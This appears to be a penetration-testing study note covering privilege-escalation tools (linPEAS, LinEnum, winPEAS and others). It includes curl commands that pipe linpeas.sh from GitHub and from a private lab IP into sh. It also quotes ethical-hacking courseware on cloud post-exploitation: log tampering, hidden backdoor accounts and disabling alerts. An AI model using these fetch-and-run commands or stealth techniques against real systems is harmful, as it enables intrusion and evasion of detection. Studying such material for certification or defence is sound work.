• Linux privesc - checklist

• GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks

• https://github.com/peass-ng/PEASS-ng

  • https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS

• Windows Post Exploitation 12.3

Linux privesc

First, check,

sudo -l

Linpeas

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

curl -L http://10.10.15.38:8000/linpeas.sh | sh

Downloading

wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

Windows privesc

• Winpeas
• Ghostpack Seatbelt

Types

• Horizontal
• Vertical

More Tools

• BeRoot
• LinPostEXP
• Windows Exploit Suggester
• pwncat
• powerspoilt
• traitor
• peass-ng
• FullPowers

Cloud

Post-exploitation is the final phase of the cloud-hacking methodology, which focuses on the actions to be taken after successfully exploiting a resource. This phase emphasizes maintaining access, covering tracks, and delving deeper into the network. Attackers establish persistence using various methods, including creating backdoors, escalating privileges, and establishing command-and-control (C2) channels. They often utilize tools such as Cobalt Strike and Metasploit to facilitate these activities. The primary goals of this phase are to ensure long-term access to compromised systems, exfiltrate data, and prepare for further attacks. Attackers also focus on concealing their activities to evade detection by using traditional security measures. Consequently, prolonged unauthorized access can lead to constant data loss, theft of intellectual property, and ongoing disruption of cloud services. This not only complicates remediation efforts, but also increases their cost.

Persistence

Cleanup and Maintaining Stealth After compromising the cloud environment, attackers can focus on cleaning their traces and maintaining stealth to avoid detection and ensure continued access. By erasing logs, altering evidence, and reverting changes, security teams can be prevented from discovering breaches. This stealth allows them to return to the environment without raising alarms, ensuring that they can exploit compromised resources over an extended period. Maintaining a low profile is crucial for prolonging the attack duration and increasing the potential for data exfiltration. By hiding their activities, the attackers can continuously monitor and extract valuable information without triggering security alerts. This stealthy approach enables them to leverage a compromised environment for various activities while remaining undetected and maintaining their persistence. To achieve cleanup and maintain stealth, attackers can use the following methods: ▪ Log Manipulation: Once attackers compromise the target cloud environment, they can delete logs or modify them to remove or hide entries that record malicious actions.
▪ Removing Credentials and Access Management:
This method involves removing temporary credentials such as temporary access tokens or keys. Attackers can create hidden backdoors by establishing hidden accounts or access methods that blend into legitimate activities.
▪ Manipulating System and Service Configurations:
This is the process of eliminating visible changes during an attack. Additionally, attackers can disable or modify alerts that could reveal their presence.
Module 19 Page 3168
Ethical Hacking and Countermeasures Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited. Ethical Hacking and Countermeasures Cloud Computing
Exam 312-50 Certified Ethical Hacker ▪ Implementing Persistence Mechanisms:
Using this method, attackers can hide malicious code through legitimate processes or services. Alternatively, legitimate built-in cloud tools and scripts can be used to avoid suspicion.